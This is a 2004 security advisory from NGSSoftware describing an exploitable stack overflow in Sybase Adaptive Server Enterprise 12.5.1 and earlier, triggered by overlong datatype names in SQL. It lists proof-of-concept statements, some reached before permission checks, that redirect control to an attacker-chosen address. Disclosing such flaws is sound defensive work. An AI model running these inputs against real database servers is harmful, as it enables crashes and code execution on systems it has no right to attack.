ASE 12.5.1 datatype overflow

NGSSoftware Insight Security Research Advisory


Name: Sybase ASE convert overflow

Systems Affected: Sybase Adaptive Server Enterprise 12.5.1 and lower

Severity: High

Vendor URL:

Author: Sherief Hammad [ ]

Date of Technical Advisory: 25th June 2004




There is an exploitable stack overflow in the Sybase handling of bespoke datatypes. Any SQL statement which as part of it syntax defines a datatype is vulnerable to this overflow. Access to these functions cannot be prohibited.


The bug can be observed by starting the Sybase server, attaching a debugger and then running the SQL statement:


declare @foo ‘AAAA…..AAAA’


9600 A’s is sufficient to cause the flow of control to be directed to the address 0x41414141(‘AAAA’ in hex) on a WindowsXP platform.


Other attack vectors to the same code are;


declare var1 ‘lotsofAs’


create table #foo (col1 ‘lotsofAs’)


alter table master.dbo.sysobjects add col1 ‘lotsofAs’

NB. breaks before checking perms

This obviously works with modify and add



create function foo ( var1 ‘lotsofAs’) reutrns int language java parameter

style java external name ‘java.test’

create function foo ( var1 int) reutrns ‘lotsofAs’ language java parameter

style java external name ‘java.test’

NB. breaks before checking perms


create procedure foo @var1 ‘lotsofAs’ as return 0

NB. breaks before checking perms



Fix Information


The vendor has not yet confirmed the existence of the bug.


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